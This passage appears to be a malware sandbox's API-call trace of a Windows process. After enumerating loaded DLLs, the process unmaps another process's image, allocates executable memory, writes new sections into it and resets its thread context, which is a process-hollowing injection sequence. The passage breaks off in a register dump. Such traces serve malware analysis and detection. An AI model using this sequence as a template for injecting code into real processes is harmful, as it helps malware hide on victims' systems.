GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0055.721] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75150000, lpmodinfo=0x281b514, cb=0xc | out: lpmodinfo=0x281b514*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0055.722] GetLastError () returned 0x2 [0055.722] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0055.722] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0055.722] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74a90000, lpmodinfo=0x281c608, cb=0xc | out: lpmodinfo=0x281c608*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0055.723] GetLastError () returned 0x2 [0055.723] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0055.723] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0055.724] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74000000, lpmodinfo=0x281d704, cb=0xc | out: lpmodinfo=0x281d704*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0055.724] GetLastError () returned 0x2 [0055.724] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0055.725] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0055.725] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749f0000, lpmodinfo=0x281e83c, cb=0xc | out: lpmodinfo=0x281e83c*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0055.725] GetLastError () returned 0x2 [0055.726] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0055.726] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0055.726] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75fd0000, lpmodinfo=0x281f9d0, cb=0xc | out: lpmodinfo=0x281f9d0*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0055.727] GetLastError () returned 0x2 [0055.727] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0055.727] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0055.728] GetModuleInformation (in: hProcess=0x4e4, hModule=0x755e0000, lpmodinfo=0x2820acc, cb=0xc | out: lpmodinfo=0x2820acc*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0055.728] GetLastError () returned 0x2 [0055.728] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0055.729] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0055.729] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749e0000, lpmodinfo=0x2821bc0, cb=0xc | out: lpmodinfo=0x2821bc0*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0055.730] GetLastError () returned 0x2 [0055.730] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0055.730] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0055.731] GetModuleInformation (in: hProcess=0x4e4, hModule=0x729c0000, lpmodinfo=0x2822cbc, cb=0xc | out: lpmodinfo=0x2822cbc*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0055.731] GetLastError () returned 0x2 [0055.731] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0055.732] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0055.732] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745d0000, lpmodinfo=0x2823e54, cb=0xc | out: lpmodinfo=0x2823e54*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0055.733] GetLastError () returned 0x2 [0055.733] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0055.734] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0055.933] GetThreadContext (in: hThread=0x4e4, lpContext=0x2717b98 | out: lpContext=0x2717b98*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4748da, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0056.173] ReadProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x7efde008, lpBuffer=0x26ea9c, nSize=0x4, lpNumberOfBytesRead=0x26ea94 | out: lpBuffer=0x26ea9c*, lpNumberOfBytesRead=0x26ea94*=0x4) returned 1 [0056.174] NtUnmapViewOfSection (ProcessHandle=0x50c, BaseAddress=0x400000) returned 0x0 [0056.174] VirtualAllocEx (hProcess=0x50c, lpAddress=0x400000, dwSize=0x23000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0056.174] WriteProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x400000, lpBuffer=0x3608040*, nSize=0x400, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x3608040*, lpNumberOfBytesWritten=0x26ea94*=0x400) returned 1 [0056.175] WriteProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x401000, lpBuffer=0x2717ea4*, nSize=0x12a00, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x2717ea4*, lpNumberOfBytesWritten=0x26ea94*=0x12a00) returned 1 [0056.177] VirtualProtectEx (in: hProcess=0x50c, lpAddress=0x401000, dwSize=0x1283f, flNewProtect=0x20, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0056.178] WriteProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x414000, lpBuffer=0x272a8e4*, nSize=0x6600, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x272a8e4*, lpNumberOfBytesWritten=0x26ea94*=0x6600) returned 1 [0056.179] VirtualProtectEx (in: hProcess=0x50c, lpAddress=0x414000, dwSize=0x6418, flNewProtect=0x2, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0056.179] WriteProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x41b000, lpBuffer=0x2730f24*, nSize=0x4000, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x2730f24*, lpNumberOfBytesWritten=0x26ea94*=0x4000) returned 1 [0056.180] VirtualProtectEx (in: hProcess=0x50c, lpAddress=0x41b000, dwSize=0x6db0, flNewProtect=0x4, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0056.180] WriteProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x422000, lpBuffer=0x2734f64*, nSize=0x200, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x2734f64*, lpNumberOfBytesWritten=0x26ea94*=0x200) returned 1 [0056.181] VirtualProtectEx (in: hProcess=0x50c, lpAddress=0x422000, dwSize=0x1d5, flNewProtect=0x2, lpflOldProtect=0x26ea90 | out: lpflOldProtect=0x26ea90*=0x40) returned 1 [0056.181] WriteProcessMemory (in: hProcess=0x50c, lpBaseAddress=0x7efde008, lpBuffer=0x2735170*, nSize=0x4, lpNumberOfBytesWritten=0x26ea94 | out: lpBuffer=0x2735170*, lpNumberOfBytesWritten=0x26ea94*=0x4) returned 1 [0056.181] SetThreadContext (hThread=0x4e4, lpContext=0x2717b98*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4058df, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, 